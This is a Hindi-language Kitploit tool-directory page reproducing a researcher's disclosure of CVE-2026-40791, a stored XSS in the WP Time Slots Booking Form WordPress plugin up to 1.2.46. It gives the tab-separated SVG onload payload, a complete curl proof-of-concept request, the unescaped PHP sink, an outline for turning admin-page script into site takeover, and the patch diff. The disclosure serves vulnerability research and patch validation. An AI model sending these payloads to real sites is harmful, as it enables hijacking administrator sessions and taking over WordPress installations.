Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS — CVE-2026-40791: WP Time Slots Booking Form <= 1.2.46 में अनधिकृत संग्रहीत XSS | Kitploit
उपकरण/GitHubGitHub/rat5ak/cve-2026-40791-wp-time-slots-booking-form-xss
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubrat5ak/cve-2026-40791-wp-time-slots-booking-form-xss

CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS

CVE-2026-40791: WP Time Slots Booking Form <= 1.2.46 में अनधिकृत संग्रहीत XSS

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
2 महीने पहलेअभी तक समीक्षित नहीं

CVE-2026-40791: एक बुकिंग स्लॉट से एडमिन XSS

मैंने WordPress WP Time Slots Booking Form प्लगइन में एक अप्रमाणित संग्रहीत XSS पाया। एक सार्वजनिक बुकिंग सबमिशन संग्रहीत समय-स्लॉट मान के एक भाग को नियंत्रित करता है। प्लगइन बाद में उस मान को प्रशासक बुकिंग ऑर्डर पृष्ठ पर बिना एस्केप किए प्रिंट करता है।

ट्रिक सरल है: प्लगइन सबमिट की गई अपॉइंटमेंट स्ट्रिंग को अक्षरशः स्पेस पर विभाजित करता है, लेकिन HTML एक टैग नाम और एक विशेषता के बीच व्हाइटस्पेस के रूप में एक टैब का इलाज करता है। इसलिए 8:<svg[TAB]onload=...> प्लगइन पार्सर में स्लॉट मान के रूप में जीवित रहता है, और फिर जब प्रशासक बुकिंग सूची खोलता है तो वास्तविक मार्कअप बन जाता है।

CVECVE-2026-40791
प्लगइनWP Time Slots Booking Form
स्लगwp-time-slots-booking-form
प्रभावित<= 1.2.46
फिक्स्ड1.2.47
बग वर्गअप्रमाणित संग्रहीत XSS (CWE-79)
प्रभावसार्वजनिक बुकिंग -> प्रशासक wp-admin सत्र में जावास्क्रिप्ट
CVSS7.2 उच्च (Wordfence), 7.1 (Patchstack)
क्रेडिटDaniel Wade

संक्षेप में

सार्वजनिक बुकिंग फॉर्म इस फ़ील्ड को स्वीकार करता है:

root@kitploit:~
fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0

प्लगइन इसे इस प्रकार पार्स करता है:

root@kitploit:~
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],

क्योंकि विभाजक एक टैब है, एक अक्षरशः स्पेस नहीं, item_split[1] बन जाता है:

root@kitploit:~
8:<svg onload=alert(document.cookie)>

वह स्लॉट मान बुकिंग में क्रमबद्ध हो जाता है। जब कोई प्रशासक बुकिंग ऑर्डर खोलता है, तो संस्करण 1.2.46 इसे यहाँ प्रिंट करता है:

root@kitploit:~
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput

कोई एस्केप नहीं। SVG onload प्रशासक पृष्ठ पर फायर करता है।

यह केवल "क्या मैं प्रशासक कुकी पढ़ सकता हूँ?" नहीं है। आधुनिक WordPress प्रमाणीकरण कुकीज़ सामान्यतः HttpOnly होती हैं, इसलिए document.cookie वास्तविक wordpress_sec_* कुकी को उजागर नहीं कर सकता है। महत्वपूर्ण बात यह है कि स्क्रिप्ट एक प्रमाणित प्रशासक-मूल पृष्ठ पर चल रही है। यह समान-मूल प्रशासक पृष्ठों को ला सकता है, उजागर नॉन्स पढ़ सकता है, और पीड़ित ब्राउज़र से प्रमाणित प्रशासक अनुरोध भेज सकता है।

बग

कमजोर प्रवाह:

root@kitploit:~
अप्रमाणित POST
    -> fieldname1_1
    -> extract_appointments()
    -> explode(' ', $input)[1]
    -> $apps[]['slot']
    -> serialize()
    -> wp_cptslotsbk_messages.posted_data
    -> unserialize()
    -> बुकिंग ऑर्डर अपॉइंटमेंट बैज
    -> अनएस्केप्ड HTML आउटपुट

पार्सर मानता है कि समय स्लॉट केवल टेक्स्ट है। यह नहीं है। यह हमलावर इनपुट है जो बाद में एक HTML संदर्भ में आता है।

कमजोर सिंक cp-admin-int-message-list.inc.php में है:

root@kitploit:~
$appts .= '<div class="ahb-appointment-badge">' .
          '<span class="dashicons dashicons-clock"></span>' .
          '<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
          ...

echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput

वह phpcs:ignore WordPress.Security.EscapeOutput एक पंक्ति में पूरी कहानी है। एस्केपिंग चेतावनी को दबा दिया गया था जहाँ हमलावर-नियंत्रित बुकिंग डेटा प्रिंट किया जा रहा था।

ट्रिगर करना

पेलोड आकार:

root@kitploit:~
8:<svg[TAB]onload=alert(document.cookie)>

यह क्यों काम करता है:

root@kitploit:~
PHP explode(' ', ...)
    "8:<svg<TAB>onload=...>" एक टोकन रहता है

ब्राउज़र HTML पार्सर
    <svg<TAB>onload=...> बन जाता है <svg onload=...>

स्लॉट पार्सर अपेक्षित मान प्राप्त करता है। ब्राउज़र को वह टैग मिलता है जिसे वह निष्पादित करना जानता है।

PoC

PowerShell:

root@kitploit:~
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2

Bash:

root@kitploit:~
./poc/reproduce.sh "http://127.0.0.1" 2

मैन्युअल curl:

root@kitploit:~
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"

curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
  --data-urlencode "cp_tslotsbooking_pform_process=1" \
  --data-urlencode "cp_pform_psequence=_1" \
  --data-urlencode "cp_tslotsbooking_id=1" \
  --data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
  --data-urlencode "fieldname2_1=John Doe" \
  --data-urlencode "[email protected]" \
  --data-urlencode "fieldname4_1=1234567890" \
  --data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
  --data-urlencode "form_structure_1=" \
  --data-urlencode "refpage_1=" \
  --data-urlencode "cp_tslotsbooking_pform_status="

अपेक्षित परिणाम:

root@kitploit:~
HTTP/1.1 302 Found

फिर एक प्रशासक के रूप में लॉग इन करें और खोलें:

root@kitploit:~
WP Time Slots Booking Form -> Booking Orders

जब संग्रहीत बुकिंग पंक्ति प्रस्तुत की जाती है तब पेलोड चलता है।

साक्ष्य

मैंने एक डिस्पोजेबल स्थानीय WordPress प्रयोगशाला में पूरी श्रृंखला मान्य की:

root@kitploit:~
PHP 8.3.31 for Windows
MariaDB 11.4.12 on 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
फॉर्म 1 पर CAPTCHA अक्षम
[CP_TIME_SLOTS_BOOKING id="1"] वाला सार्वजनिक पृष्ठ

PowerShell PoC ने साफ-सुथरा सबमिट किया:

root@kitploit:~
HTTP status: 302

पेलोड wp_cptslotsbk_messages.posted_data में उतरा:

root@kitploit:~
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"

फिर हेडलेस क्रोम ने प्रशासक के रूप में लॉग इन किया, बुकिंग ऑर्डर खोला, और संग्रहीत SVG हैंडलर द्वारा सेट किया गया मार्कर देखा:

root@kitploit:~
ADMIN_XSS_EXECUTED

मैंने प्लगइन को 1.2.47 से बदलने के बाद उसी संग्रहीत दुर्भावनापूर्ण पंक्तियों का भी परीक्षण किया। प्रशासक पृष्ठ ने पेलोड को एस्केप किए गए टेक्स्ट के रूप में प्रस्तुत किया:

root@kitploit:~
04/15/2026 8:&lt;svg onload=...&gt;

कोई मार्कर नहीं फायर हुआ:

root@kitploit:~
PATCHED_NO_XSS_EXECUTION

एक छोटा स्थानीय रेंडर सैनिटी चेक भी है:

root@kitploit:~
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1

यह पूर्ण WordPress इंस्टॉल के बिना दो यांत्रिक भागों को सत्यापित करता है:

root@kitploit:~
Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.

प्रभाव

हमलावर को खाते की आवश्यकता नहीं है। हमलावर एक सार्वजनिक बुकिंग सबमिट करता है और एक प्रशासक के बुकिंग ऑर्डर देखने की प्रतीक्षा करता है।

एक बार जब प्रशासक उस पृष्ठ को देखता है, तो हमलावर का जावास्क्रिप्ट प्रशासक के WordPress मूल के अंदर चलता है। एक वास्तविक हमलावर आमतौर पर alert(document.cookie) पर नहीं रुकेगा। वे प्रशासक ब्राउज़र का उपयोग प्रशासक के रूप में करेंगे:

root@kitploit:~
प्रशासक पृष्ठ लाएँ
    -> HTML से नॉन्स पढ़ें
    -> प्रमाणित प्रशासक POST सबमिट करें
    -> साइट स्थिति बदलें

प्रशासक की क्षमताओं और साइट कॉन्फ़िगरेशन के आधार पर, इसका अर्थ उपयोगकर्ता बनाना, प्लगइन सेटिंग बदलना, अधिसूचना गंतव्य संशोधित करना, बुकिंग/ग्राहक डेटा पढ़ना, या प्लगइन/थीम कार्यक्षमता के माध्यम से पूर्ण साइट अधिग्रहण की ओर बढ़ना हो सकता है।

सुधार

संस्करण 1.2.47 प्रशासक बैज बनाने से पहले संग्रहीत स्लॉट को एस्केप करता है:

root@kitploit:~
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'

यह सिंक को ठीक करता है। पहले सैनिटाइज़ करना भी उचित होगा, लेकिन सुरक्षा सीमा प्रशासक पृष्ठ में HTML आउटपुट संदर्भ है।

रिपॉजिटरी संरचना

root@kitploit:~
poc/
    reproduce.ps1          # PowerShell अप्रमाणित बुकिंग सबमिटर
    reproduce.sh           # Bash/curl अप्रमाणित बुकिंग सबमिटर
lab/
    render-check.html      # न्यूनतम कमजोर रेंडर फिक्स्चर
    validate-render.ps1    # पार्सर + ब्राउज़र निष्पादन सैनिटी चेक
README.md

समयरेखा

दिनांकघटना
2026-03-24Patchstack को रिपोर्ट किया गया
2026-04-13पैच मान्य किया गया
2026-04-23

संसाधन

  • Wordfence सलाह: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-slots-booking-form/wp-time-slots-booking-form-1246-unauthenticated-stored-cross-site-scripting
  • Patchstack प्रविष्टि: https://patchstack.com/database/vulnerability/wp-time-slots-booking-form/wordpress-wp-time-slots-booking-form-plugin-1-2-46-cross-site-scripting-xss-vulnerability
  • WordPress प्लगइन: https://wordpress.org/plugins/wp-time-slots-booking-form/
  • WordPress प्रमाणीकरण कुकी स्रोत: https://developer.wordpress.org/reference/functions/wp_set_auth_cookie/
  • कमजोर स्रोत: https://plugins.svn.wordpress.org/wp-time-slots-booking-form/tags/1.2.46/
  • फिक्स्ड स्रोत: https://plugins.svn.wordpress.org/wp-time-slots-booking-form/tags/1.2.47/

अस्वीकरण: यह PoC पैच उपलब्धता के बाद रक्षात्मक अनुसंधान और सत्यापन के लिए प्रकाशित किया गया है। इसका उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।

CVE-2026-40791 - WP Time Slots Booking Form 1.2.47 में फिक्स्ड। प्रभावित: 1.2.46 और पुराने।

Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online

टूल डाउनलोड करें
Wordfence ने सलाह प्रकाशित की
2026-04-24Patchstack ने सलाह प्रकाशित की
2026-04-30Wordfence अंतिम अद्यतन प्रविष्टि